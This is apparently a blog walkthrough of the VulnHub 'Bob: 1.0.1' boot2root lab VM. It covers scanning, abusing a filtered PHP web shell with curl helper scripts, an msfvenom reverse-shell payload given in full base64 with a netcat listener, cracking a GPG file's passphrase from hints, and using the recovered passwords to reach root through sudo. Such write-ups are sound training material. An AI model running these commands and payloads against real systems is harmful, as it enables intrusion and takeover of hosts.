This post documents the complete walkthrough of Bob: 1.0.1, a boot2root VM created by c0rruptedb1t, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

Background

Someone attacked the Milburg Highschool Server. The IT staff took down their Windows server and replaced it with a Linux server running Debian. Your mission, should you choose to accept, is to find the weak points in the new server.

Information Gathering

Let’s kick this off with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.20.130
...
PORT      STATE SERVICE REASON         VERSION
80/tcp    open  http    syn-ack ttl 64 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
| http-robots.txt: 4 disallowed entries
| /login.php /dev_shell.php /lat_memo.html
|_/passwords.html
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
25468/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
|   2048 84:f2:f8:e5:ed:3e:14:f3:93:d4:1e:4c:41:3b:a2:a9 (RSA)
|   256 5b:98:c7:4f:84:6e:fd:56:6a:35:16:83:aa:9c:ea:f8 (ECDSA)
|_  256 39:16:56:fb:4e:0f:50:85:40:d3:53:22:41:43:38:15 (ED25519)

nmap finds 80/tcp open, and four disallowed entries in robots.txt. Although the port 25468/tcp is uncommon for SSH, nothing funky is going on here.

Directory/Files Enumeration

Besides the unverified files from robots.txt, you can run the following command to look for more files. These files are at the end of the hyperlinks found in the site’s landing page.

# curl -s 192.168.20.130 | grep -Po '(href|src)=".*"' | cut -d'"' -f2
school_badge.png
index.html
news.html
about.html
contact.html
login.html
WIP.jpg

contact.html exposes the personnel working in the IT department. We now know that Bob is the admin—we should probably be targeting him.

0.c4gur4ofikg

Otherwise, there’s nothing interesting with these files except for dev_shell.php. It exposes a web shell, our first attack surface—this is how it looks like in the browser.

0.jdsakljaao

Web Shell

Although the web shell allows remote execution of commands in the context of www-data, it filters common commands such as cat and ls; and in return, displays unhelpful messages like “Nice try skid” or “Get out skid”.

Essentially, cat reads a file’s content and prints it to standard output in ASCII. If you’ve read permissions for the file, you can use xxd to achieve the same result, by first showing the content in hexadecimal, and then converting it back to ASCII before printing to standard output.

I wrote cat.sh to establish the idea of using xxd as the replacement for cat.

cat.sh
#!/bin/bash

HOST=192.168.20.130
SHELL=dev_shell.php
CMD="xxd -p $1 | tr -d '\n'"

curl \
        -s \
        --data-urlencode "in_command=$CMD" \
        $HOST/$SHELL \
| sed '29!d' \
| sed -r -e 's/^\s+//' -e 's/  <\/div>//' \
| xxd -p -r

Another script I wrote, ls.sh—uses find as the replacement for ls.

ls.sh
#!/bin/bash

HOST=192.168.20.130
SHELL=dev_shell.php
CMD="find $1 -ls"

curl \
        -s \
        --data-urlencode "in_command=$CMD" \
        $HOST/$SHELL \
| sed '/<h5>/,/<\/div>/!d' \
| sed -r -e '1d' -e '$d' -e 's/^\s+//' \
| column -t

Using ls.sh to list the files along with their permissions in a directory is easy.

# ./ls.sh /var/www/html
396954  4     drwxr-xr-x  2  root  root  4096     Mar  8  23:48  /var/www/html
393294  4     -rw-r--r--  1  root  root  1560     Mar  4  14:09  /var/www/html/login.html
393280  4     -rw-r--r--  1  root  root  3145     Mar  4  14:09  /var/www/html/contact.html
393341  4     -rw-r--r--  1  root  root  84       Mar  5  04:53  /var/www/html/.hint
393297  4     -rw-r--r--  1  root  root  111      Mar  4  14:09  /var/www/html/robots.txt
393292  4     -rw-r--r--  1  root  root  1425     Mar  4  14:09  /var/www/html/index.html.bak
393286  1152  -rw-r--r--  1  root  root  1177950  Mar  4  14:09  /var/www/html/dev_shell_back.png
393293  4     -rw-r--r--  1  root  root  1925     Mar  4  14:09  /var/www/html/lat_memo.html
393301  336   -rw-r--r--  1  root  root  340400   Mar  4  14:09  /var/www/html/WIP.jpg
393295  4     -rw-r--r--  1  root  root  4086     Mar  4  14:09  /var/www/html/news.html
393275  4     -rw-r--r--  1  root  root  2579     Mar  8  23:43  /var/www/html/about.html
393288  4     -rw-r--r--  1  root  root  1361     Mar  4  14:09  /var/www/html/dev_shell.php.bak
393299  28    -rw-r--r--  1  root  root  26357    Mar  4  14:09  /var/www/html/school_badge.png
393287  4     -rw-r--r--  1  root  root  1396     Mar  4  14:09  /var/www/html/dev_shell.php
397124  4     -rw-r--r--  1  root  root  1425     Mar  4  14:09  /var/www/html/index.html
393296  4     -rw-r--r--  1  root  root  673      Mar  8  23:43  /var/www/html/passwords.html

I can then use cat.sh to display the contents of any file where www-data has read permissions. For example, let’s find out what’s in dev_shell.php.

# ./cat.sh /var/www/html/dev_shell.php
...
  <?php
    //init
    $invalid = 0;
    $command = ($_POST['in_command']);
    $bad_words = array("pwd", "ls", "netcat", "ssh", "wget", "ping", "traceroute", "cat", "nc");
  ?>
  ...
    <?php
    system("running command...");
      //executes system Command
      //checks for sneaky ;
      if (strpos($command, ';') !==false){
        system("echo Nice try skid, but you will never get through this bulletproof php code"); //doesn't work :P
      }
      else{
        $is_he_a_bad_man = explode(' ', trim($command));
        //checks for dangerous commands
        if (in_array($is_he_a_bad_man[0], $bad_words)){
          system("echo Get out skid lol");
        }
        else{
          system($_POST['in_command']);
        }
      }
    ?>
  ...

Now that we know how dev_shell.php works, let’s get ourselves a proper shell.

Low-privilege Shell

Here’s an overview of how you can get a low-privilege shell:

On your attacking machine:

  1. Generate a reverse shell with msfvenom.
  2. Set up netcat listener.
  3. Encode the reverse shell in base64.

In the web shell:

  1. Run echo -n [output from #3] | base64 -d > /tmp/rev.
  2. Run chmod +x /tmp/rev in the web shell.
  3. Run /tmp/rev in the web shell.

Step 1: Generate a reverse shell with msfvenom

Before you generate the reverse shell, you need to determine the target’s OS architecture—by running uname -a in the web shell. msfvenom needs this information to generate the correct reverse shell.

0.roxsyv6gela

The target is running 64-bit Debian.

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x64 --platform linux -f elf -o rev
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: rev

Step 2: Set up netcat listener

# nc -lnvp 4444

Step 3: Encode the reverse shell in base64

# base64 rev | tr -d  '\n' && echo
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAwgAAAAAAAAAMAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdIuQIAEVzAqBSAUUiJ5moQWmoqWA8FagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU=

Step 4: Run echo -n [output from #3] | base64 -d > /tmp/rev

Because the output of this step ends up in file redirection, you don’t see anything visible in the web shell. You can use md5sum for verification on your attacking machine and in the web shell to ensure the reverse shell is intact and unmodified.

# md5sum rev
f05a125872c14d573304819ac2997782  rev

0.rxt6dcx6xhs

Good. Both files are identical.

Step 5: Run chmod +x /tmp/rev

Although this step produces no visible output, you can use ls.sh to verify that rev is executable.

0.kscltrqq2b

Step 6: Run /tmp/rev

After this step, you should see a reverse shell in your netcat listener like so.

0.zcmr8cq5i6l

This is a well-known technique—using Python to spawn a shell with output control.

0.hgd8uk3pqv

Privilege Escalation

By now, you should have the following information at your fingertips:

  • Four accounts in the host: bob, elliot, jc and seb. They already made their first appearance in contact.html.
  • One account is missing: c0rruptedb1t
  • Bob is a man of secrets. He kept the following files at different locations:
    • .old_passwordfile.html—the original copy of passwords.html.
    • staff.txt—a text file dissing everyone in the IT department except himself.
    • notes.sh—a bash script that spits out incoherent phrases.
    • login.txt.gpg—a file encrypted with AES symmetric cipher.
  • Elliot detests the admin, and so he decided to change his password to theadminisdumb. ¯\(ツ)

Looking on as an outsider, the submerged power struggle and office politics among the IT guys of Milburg High is starting to surface following the first security breach. I can’t imagine what will happen if there’s another security breach.

Like I said before, Bob is probably the one we should be targeting, judging from the secrets he has harbored. If I’d to guess, I’d say login.txt.gpg contains Bob’s password and notes.sh contains the hints to decrypt login.txt.gpg.

First, let’s use scp to copy login.txt.gpg and notes.sh to my attacking machine. Both files are readable by everyone.

0.fakh2xng4i

# scp -P 25468 [email protected]:/home/bob/Documents/login.gpg .
# scp -P 25468 [email protected]:/home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here/notes.sh .

Next, build a wordlist from the words in notes.sh like so.

# ./notes.sh | grep -Po '[a-zA-Z]+' > wordlist
# wc -l wordlist
60 wordlist

I googled and found PGPCrack-NG. According to the project description,

PGPCrack-NG is a program designed to brute-force symmetrically encrypted PGP files

Precisely what I need. Fits the bill down to a T.

Like a child who has found a new toy, I ran PGPCrack-NG with the wordlist and waited patiently for the password to appear. But, there’s no result at all.

I ran notes.sh again and again. I kept staring at it endlessly. This can’t be true.

And then the epiphany came…

0.z6pd10vab8

# ./notes.sh | sed 1d | cut -c1 | tr -d '\n' && echo
HARPOCRATES

According to Wikipedia, Harpocrates (Ancient Greek: Ἁρποκράτης) was the god of silence, secrets and confidentiality in the Hellenistic religion developed in Ptolemaic Alexandria (and also an embodiment of hope, according to Plutarch).

This must be the password to decrypt login.txt.gpg.

# gpg -d --passphrase HARPOCRATES --batch login.txt.gpg
gpg: AES encrypted data
gpg: encrypted with 1 passphrase
bob:b0bcat_

Sweet.

With Bob’s password, I can SSH to his account and guess what—Bob is the admin alright.

0.b3jv5cza3s

Elevating to root is one command away: sudo -s.

0.atj9byjatkw

:dancer: